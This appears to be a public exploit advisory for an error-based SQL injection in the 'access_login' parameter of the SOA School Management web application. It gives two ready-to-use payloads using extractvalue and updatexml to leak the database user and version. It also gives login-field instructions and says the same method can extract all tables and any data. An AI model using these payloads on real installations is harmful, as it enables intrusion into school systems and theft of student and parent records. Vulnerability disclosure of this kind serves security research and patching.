SOA School Management - 'access_login' SQL Injection

# Exploit Title: SOA - School Management Software with Integrated
Parents/Students Portal & Mobile App - 'access_login' SQL Injection
# Dork: N/A
# Date: 2018-02-14
# Exploit Author: Borna nematzadeh (L0RD) or [email protected]
# Vendor Homepage:
https://codecanyon.net/item/soa-school-management-software-with-integrated-parents-students-portal/20435367?s_rank=495
# Version: All version
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands.
# # # # #
# Proof of Concept :

SQLI :

http://localhost/PATH/administrator/index.php

# Parameter : access_login (POST)
#    Type: Error based
#    Title:  MySQL >= 5.6.35 AND Error based - extractvalue,updatexml
(XPATH query)
#    Payload 1: 1') and extractvalue(1,concat(0x3a,user(),0x3a,version()))#
#    Payload 2: 1') and updatexml(1, concat(0x3a, version(),0x3a,user()),1)#
#######################################
# Discrption : The 'username' field is vulnerable in this script
('access_login' parameter).First inject payload into this parameter.
# then put anything in password and click login. You will have XPATH syntax
error in the next page that contains user and db_name .
# You can find all tables and any information from database by using XPATH
query .You can use extractvalue() or updatexml() for generating error .

Username : 1') and extractvalue(1,concat(0x3a,user(),0x3a,version()))#
Password : anything